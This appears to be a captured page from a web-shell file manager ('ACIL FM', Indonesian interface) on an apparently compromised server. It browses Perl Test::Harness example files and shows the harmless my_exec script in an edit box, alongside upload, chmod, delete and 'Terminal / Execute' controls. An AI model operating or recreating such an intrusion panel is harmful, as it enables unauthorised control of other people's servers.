ACIL FM
Dark
Refresh
Current DIR:
/usr/share/doc/perl-Test-Harness/examples
/
usr
share
doc
perl-Test-Harness
examples
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
bin
-
chmod
Open
Rename
Delete
harness-hook
-
chmod
Open
Rename
Delete
t
-
chmod
Open
Rename
Delete
analyze_tests.pl
2.02 MB
chmod
View
DL
Edit
Rename
Delete
my_exec
387 B
chmod
View
DL
Edit
Rename
Delete
README
2.1 MB
chmod
View
DL
Edit
Rename
Delete
silent-harness.pl
349 B
chmod
View
DL
Edit
Rename
Delete
test_urls.txt
45 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/doc/perl-Test-Harness/examples/my_exec
#!/usr/bin/perl use strict; use warnings; my $url = qr/^http/; my $prog = shift; if ( $prog !~ $url && !-e $prog ) { die "Cannot find ($prog)"; } my @exec; if ( 't/ruby.t' eq $prog ) { push @exec => '/usr/bin/ruby', $prog; } elsif ( $prog =~ $url ) { push @exec => 'bin/test_html.pl', $prog; } else { push @exec, $prog; } exec @exec or die "Cannot (exec @exec): $!";
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply